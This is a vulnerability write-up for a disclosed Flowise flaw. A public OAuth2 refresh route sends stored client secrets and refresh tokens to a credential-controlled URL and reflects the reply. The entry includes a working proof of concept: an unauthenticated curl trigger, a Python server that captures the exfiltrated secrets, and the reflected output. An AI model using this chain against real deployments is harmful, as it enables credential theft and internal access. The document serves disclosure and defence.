# Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration

Unauthenticated OAuth2 refresh endpoint in Flowise POSTs credential secrets to a credential-controlled accessTokenUrl and reflects the response, yielding non-blind SSRF and secret exfiltration.

- Payout: Research
- Severity: high
- Program: Flowise
- Found by: b-hermes
- Disclosed: 2026-08-04
- CVE: CVE-2026-69250
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-r745-8hwv-h473
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-r745-8hwv-h473
- Tags: area:web domain:api domain:web impact:internal-access kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass vuln:secrets-leak vuln:ssrf

**Target:** OAuth2 credential refresh API endpoint (/api/v1/oauth2-credential/refresh/:credentialId)
**Root cause:** The refresh route is in the public auth whitelist and loads a credential's user-controlled accessTokenUrl, then calls axios.post on it without the secureAxiosRequest/denylist wrapper, sending client_secret and refresh_token in the body.
**Steps:**
1. Note `dist/utils/constants.js` whitelists `/api/v1/oauth2-credential/refresh` and `dist/index.js` uses `req.path.startsWith(url)`, so `/refresh/:credentialId` is unauthenticated.
2. As an authenticated user, create an OAuth2 credential whose `accessTokenUrl` points at an attacker server (e.g. `http://localhost:18081/token`); note the credential UUID.
3. Start an attacker HTTP server that logs POST bodies and returns JSON.
4. Trigger without auth: `curl -i -X POST http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/<credentialId> -H 'Content-Type: application/json' -d '{}'`.
5. Observe attacker log `REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2` and the reflected body in `tokenInfo`.
**How found:** Code review of the runtime build: noticed the refresh path in the auth whitelist combined with startsWith matching, then traced the handler to an unwrapped axios.post on credential-controlled accessTokenUrl with response reflection.
**Exploitation:** An authenticated user plants a credential with an attacker-controlled accessTokenUrl; anyone knowing the credential UUID hits the public refresh endpoint, causing the server to POST client_id/client_secret/refresh_token to the attacker URL and return the full response body in tokenInfo, leaking secrets and enabling internal-target reads.
**Insight:** Whitelist entries matched with startsWith on a path prefix silently expose every sub-route (including parameterized ones) — check each whitelisted prefix for handlers that consume stored user-controlled URLs and skip the SSRF wrapper.

## Proof of concept (copied exactly from the original report)

**Unauthenticated curl triggering OAuth2 refresh SSRF**

```
curl -i -X POST \
  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
  -H 'Content-Type: application/json' \
  -d '{}'
```

**Attacker server capturing exfiltrated OAuth2 secrets**

```
python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers.get('Content-Length','0'))
        b = self.rfile.read(l).decode('utf-8', errors='replace')
        print('REQUEST_PATH', self.path, flush=True)
        print('REQUEST_BODY', b, flush=True)
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
    def log_message(self, fmt, *args):
        pass

HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY
```

**Reflected tokenInfo response proving non-blind SSRF**

```
"tokenInfo": {
    "ok": true,
    "source": "attacker-server",
    "echo_len": 76,
    "has_new_refresh_token": false
  }
}
```

